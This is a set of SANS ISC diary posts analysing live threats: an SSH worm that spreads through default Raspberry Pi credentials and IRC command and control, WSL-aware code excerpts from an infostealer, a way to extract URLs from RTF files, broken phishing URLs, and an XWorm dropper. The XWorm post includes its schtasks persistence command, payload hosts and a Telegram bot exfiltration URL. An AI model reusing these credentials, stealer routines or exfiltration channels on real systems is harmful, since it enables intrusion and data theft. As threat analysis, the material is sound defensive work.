[This is a Guest Diary by Johnathan Husch, an ISC intern as part of the SANS.edu BACS program]
Weak SSH passwords remain one of the most consistently exploited attack surfaces on the Internet. Even today, botnet operators continue to deploy credential stuffing malware that is capable of performing a full compromise of Linux systems in seconds.
During this internship, my DShield sensor captured a complete attack sequence involving a self-spreading SSH worm that combines:
-
Credential brute forcing
- Multi-stage malware execution
- Persistent backdoor creation
- IRC-based command and control
- Digitally signed command verification
- Automated lateral movement using Zmap and sshpass
Timeline of the Compromise
08:24:13 Attacker connects (83.135.10.12)
08:24:14 Brute-force success (pi / raspberryraspberry993311)
08:24:15 Malware uploaded via SCP (4.7 KB bash script)
08:24:16 Malware executed and persistence established
08:24:17 Attacker disconnects; worm begins C2 check-in and scanning

Figure 1: Network diagram of observed attack
Authentication Activity
The attack originated from 83.135.10.12, which traces back to Versatel
Deutschland, an ISP in Germany [1].
The threat actor connected using the following SSH client:
SSH-2.0-OpenSSH_8.4p1 Raspbian-5+b1
HASSH: ae8bd7dd09970555aa4c6ed22adbbf56
The 'raspbian' strongly suggests that the attack is coming from an already
compromised Raspberry Pi.
Post Compromise Behavior
Once the threat actor was authenticated, they immediately uploaded a small
malicious bash script and executed it.
Below is the attackers post exploitation sequence:

The uploaded and executed script was a 4.7KB bash script captured by the DShield sensor. The script performs a full botnet lifecycle. The first action the script takes is establishing persistence by performing the following:

The threat actor then kills the processes for any competitors malware and alters the hosts file to add a known C2 server [2] as the loopback address

C2 Established
Interestingly, an embedded RSA key was active and was used to verify commands from the C2 operator. The script then joins 6 IRC networks and connects to one IRC channel: #biret

Once connected, the C2 server finishes enrollment by opening a TCP connection, registering the nickname of the device and completes registration. From here, the C2 performs life checks of the device by quite literally playing ping pong with itself. If the C2 server sends down "PING", then the compromised device must send back "PONG".
Lateral Movement and Worm Propagation
Once the C2 server confirms connectivity to the compromised device, we see the tools zmap and sshpass get installed. The device then conducts a zmap scan on 100,000 random IP addresses looking for a device with port 22 (SSH) open. For each vulnerable device, the worm attempts two sets of credentials:
-
pi / raspberry
- pi / raspberryraspberry993311
Upon successful authentication, the whole process begins again.
While a cryptominer was not installed during this attack chain, the C2 server
would most likely send down a command to install one based on the script killing
processes for competing botnets and miners.
Why Does This Attack Matter
This attack in particular teaches defenders a few lessons:
Weak passwords can result in compromised systems. The attack was successful as a
result of enabled default credentials; a lack of key based authentication and
brute force protection being configured.
IoT Devices are ideal botnet targets. These devices are frequently left exposed
to the internet with the default credentials still active.
Worms like this can spread both quickly and quietly. This entire attack chain
took under 4 seconds and began scanning for other vulnerable devices immediately
after.
How To Combat These Attacks
To prevent similar compromises, organizations could:
-
Disable password authentication and use SSH keys only
- Remove the default pi user on raspberry pi devices
- Enable and configure fail2ban
- Implement network segmentation on IoT devices
Conclusion
This incident demonstrates how a raspberry pi device with no security configurations can be converted into a fully weaponized botnet zombie. It serves as a reminder that security hardening is essential, even for small Linux devices and hobbyist systems.
WSL in the Malware Ecosystem
13.2.26 SOURCE: SANS
WSL or “Windows Subsystem Linux”[1] is a feature in the Microsoft Windows ecosystem that allows users to run a real Linux environment directly inside Windows without needing a traditional virtual machine or dual boot setup. The latest version, WSL2, runs a lightweight virtualized Linux kernel for better compatibility and performance, making it especially useful for development, DevOps, and cybersecurity workflows where Linux tooling is essential but Windows remains the primary operating system. It was introduced a few years ago (2016) as part of Windows 10.
WSL can be compared to a LOLBIN (living-off-the-land) because it’s implemented by Microsoft and allow many interesting operations. Attackers can drop Linux tools inside the WSL rootfs and execute it! Here is a quick example.
You can access the WSL root filesystem through the “\\wsl$” share name:

Once you copy a file into this directory, it becomes available in WSL:

The test.sh file is just a simple shell script.
But, more interesting, you can execute it from Windows too:

Pretty cool isn't it?
I found a malware sample that checks for the presence of WSL in its code. Written in JavaScript, it first implement a method called is_wsl():
"is_wsl":
() => {
if (process.env.WSL_DISTRO_NAME) {
return true;
}
try {
if (fs.existsSync("/proc/version")) {
const I = fs.readFileSync("/proc/version", "utf8");
if (I.toLowerCase().includes("microsoft") || I.toLowerCase().includes("wsl")) {
return true;
}
}
} catch (S) {}
return false;
},
Another interesting one is get_wu() that will retrieve the username:
"get_wu":
() => {
try {
const I = execSync("cmd.exe /c echo %USERNAME%", {
"encoding": "utf8"
}).trim();
if (I && I.length > 0 && !I.includes("%USERNAME%")) {
return I;
}
} catch (g) {}
try {
if (fs.existsSync("/mnt/c/Users")) {
const Y = fs.readdirSync("/mnt/c/Users", {
"withFileTypes": true
});
const w = ["Public", "Default", "All Users", "Default User"];
for (const u of Y) {
if (u.isDirectory() && !w.includes(u.name)) {
return u.name;
}
}
}
} catch (M) {}
return process.env.USERNAME || process.env.USER || null;
},
And later in the code:
if
(is_wsl()) {
const windowsUsername = get_wu();
if (windowsUsername) {
return getWindowsBrowserPaths(windowsUsername);
}
}
If WSL is used, the /mnt directory is added in the list of interesting directories to process. This mount point provides indeed access to the host drives (C, D, ...)
if
(is_wsl()) {
priorityDirs.push(\"/mnt\");
}
The malware sample is "ottercookie-socketScript-module-3.js" (SHA256:f44c2169250f86c8b42ec74616eacb08310ccc81ca9612eb68d23dc8715d7370). It's an Cryxos trojan with infosteaker capabilities.
Quick Howto: Extract URLs from RTF files
13.2.26 SOURCE: SANS
Malicious RTF (Rich Text Format) documents are back in the news with the exploitation of CVE-2026-21509 by APT28.
The malicious RTF documents BULLETEN_H.doc and Consultation_Topics_Ukraine(Final).doc mentioned in the news are RTF files (despite their .doc extension, a common trick used by threat actors).
Here is a quick tip to extract URLs from RTF files. Use the following command:
rtfdump.py -j -C SAMPLE.vir | strings.py --jsoninput | re-search.py -n url -u -F officeurls

BTW, if you are curious, this is how that document looks like when opened:

Let me break down the command:
rtfdump.py -j -C SAMPLE.vir: this parses RTF file SAMPLE.vir and produces JSON
output with the content of all the items found in the RTF document. Option -C
make that all combinations are included in the JSON data: the item itself, the
hex-decoded item (-H) and the hex-decoded and shifted item (-H -S). So per item
found inside the RTF file, 3 entries are produced in the JSON data.
strings.py --jsoninput: this takes the JSON data produced by rtfdump.py and
extract all strings
re-search.py -n url -u -F officeurls: this extracts all URLs (-n url) found in
the strings produced by strings.py, performs a deduplication (-u) and filters
out all URLs linked to Office document definitions (-F officeurls)
So I have found one domain (wellnesscaremed) and one private IP address (192.168...). What I then like to do, is search for these keywords in the string list, like this:

If found extra IOCs: a UNC and a "malformed" URL. The URL has it's hostname followed by @ssl. This is not according to standards. @ can be used to introduce credentials, but then it has to come in front of the hostname, not behind it. So that's not the case here. More on this later.
Here are the results for the other document:


Notice that this time, we have @80.
I believe that this @ notation is used by Microsoft to provide the portnumber when WebDAV requests are made (via UNC). If you know more about this, please post a comment.
In an upcoming diary, I will show how to extract URLs from ZIP files embedded in the objects in these RTF files.
Broken Phishing URLs
13.2.26 SOURCE: SANS
For a few days, many phishing emails that landed into my mailbox contain strange URLs. They are classic emails asking you to open a document, verify your pending emails, …

But the format of the URLs is broken! In a URL, parameters are extra pieces of information added after a question mark (?) to tell a website more details about a request; they are written as name=value pairs (for example “email=user@domain”), and multiple parameters are separated by an ampersand (&).
Here are some examples of detected URLs:
hxxps://cooha0720[.]7407cyan[.]workers[.]dev/?dC=handlers@isc[.]sans[.]edu&*(Df hxxps://calcec7[.]61minimal[.]workers[.]dev/?wia=handlers@isc[.]sans[.]edu&*(chgd hxxps://couraol-02717[.]netlify[.]app/?dP=handlers@isc[.]sans[.]edu&*(TemP hxxps://shiny-lab-a6ef[.]tcvtxt[.]workers.dev/?kpv=handlers@isc[.]sans[.]edu&*(lIi
You can see that the parameters are broken… “&*(Df” is invalid! It’s not an issue for browsers that will just ignore these malformed parameters, so the malicious website will be visited.
I did not see this for a while but it seems that the technique is back on stage. Threat actors implement this to break security controls. Many of them assume a “key=value" format. It may also break regex-based detectionn, URL normalization routines or IOC extraction pipelines…
Of course, we can track such URLs using a regex to extract the last param:
???????
Malicious Script Delivering More Maliciousness
12.2.26 SANS
Today, I received an interesting email with a malicious attachment. When I had a look at the automatic scan results, it seemed to be a malicious script to create a Chrome Injector to steal data. Because InfoStealers are very common these days, it looked “legit” but there was something different. The .bat file looks to be a fork of the one found in many GitHub repositories[1].
When the regular script is completed, it jumps to :EndScript:
goto :EndScript
A call to :show_msgbox was added at the script end:
:EndScript endlocal call :show_msgbox exit /b
Then, the magic begins. A payload is obfuscated with junk characters:

Very common techniques, the string is poluted with junk
characters. It’s a chunk of Base64-encode data that is executed through a
PowerShell:

It fetches a payload from hxxps://uniworldrivercruises-co[.]uk/optimized_MSI.png. This is a real picture:

But when some “fun” at the end. The next payload is delimited (and extracted) using the tags “BaseStart-” and “-BaseEnd”:

It’s a shell code that is invoked with the following parameters:
'==gN1V3dl5UQy8SZslmZvkGch9SbvNmLulWYyRGblhXaw9yL6MHc0RHa','0','C:\Users\Public\Downloads\','VHkaJZD8Iq','appidtel','1','appidtel','1', 'hxxp://178[.]16[.]53[.]209/buildingmoney.txt','C:\Users\Public\Downloads\','VHkaJZD8Iq','bat','1','0','4spTcCaYQA','0','','',''
The URL points to another payload. When I tried to decode it (it was Base64 encode and reversed), I could not automatically decode it because there was weird (non hex) characters in the string. Thanks to ChatGPT, I decoded it with the following piece of Python script:
from pathlib import Path
import re
import binascii
input_file = Path("payload.txt")
output_file = Path("payload.bin")
raw = input_file.read_bytes()
ascii_data = raw.decode("ascii", errors="ignore")
# Keep only hex characters!!
clean_hex = re.sub(r"[^0-9a-fA-F]", "", ascii_data)
if len(clean_hex) % 2 != 0:
raise ValueError("Odd-length hex string after cleanup")
clean_hex = clean_hex[::-1]
binary = binascii.unhexlify(clean_hex)
output_file.write_bytes(binary)
print(f"[+] Decoded {len(binary)} bytes to {output_file}")
The decoded payload (SHA256:d99318c9b254b4fa5bf6f1dd15996dd50be0676dd84e822503fd273316eb9ba7) is a .Net program. It implements persistence through a scheduled task:
C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Chromiumx2" /tr "C:\Users\admin\AppData\Roaming\Chromiumx2.exe
And uses Telegram as C2:
hxxps://api[.]telegram[.]org/bot7409572452:AAGp8Ak5bqZu2IkEdggJaz2mnMYRTkTjv-U/sendMessage?chat_id=6870183115&text=%E2%98%A0%20%5BXWorm%20V7.0%20@XCoderTools%5D%
0D%0A%0D%0ANew%20CLient%20:%20%0D%0ACAECEB6F4379122BA468%0D%0A%0D%0AUserName%20:%20admin%0D%0AOSFullName%20:
%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20AMD%20Ryzen%205%203500%206-Core%20Processor%0D%0AGPU%20:%20Microsoft%20Basic%20Display%
20Adapter%20%0D%0ARAM%20:%205.99%20GB%0D%0AGroup%20:%20XWorm%20V7.1
It's another piece of XWorm! Interesting way to drop the trojan in another malicious script...